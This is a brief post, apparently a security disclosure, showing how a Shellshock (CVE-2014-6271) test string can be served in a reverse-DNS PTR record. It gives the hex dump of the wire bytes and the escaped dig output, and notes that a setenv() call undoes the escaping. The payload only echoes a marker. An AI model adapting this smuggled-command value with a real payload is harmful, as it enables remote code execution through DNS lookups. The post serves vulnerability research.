The production versions of NSD accepts this fine ‘as is’ (FreeBSD-9.3); bind requires a bit of careful escaping.

On te wire one then sees the raw ‘binary’ — which can indeed be very raw:

000001d0  XX XX XX XX 31 28 29 20  7b 20 3a 3b 7d 3b 20 65        () { :;}; e|
000001e0  63 68 6f 20 63 76 65 2d  32 30 31 34 2d 36 32 37  |cho cve-2014-627|
000001f0  31 2c 20 63 76 65 2d 32  30 31 34 30 37 31 36 39  |1, cve-201407169|
00000200  2c 20 72 64 6e 73 c0 14  c0 XX XX XX XX XX XX XX  |, rdns

And once you push this through DIG - one sees:

	4.3.2.1.in-addr.arpa.	10	IN	PTR	\(\)\032{\032:\;}\;\032echo\032cve-2014-6271,\032cve-201407169,\032rdns.in-addr.arpa.

depending on your escaping (which nornal unix libc/resolve does). And then we found at least one setenv() which would *de-escape* above nicely - getting the octal and decimal right.

Dw.
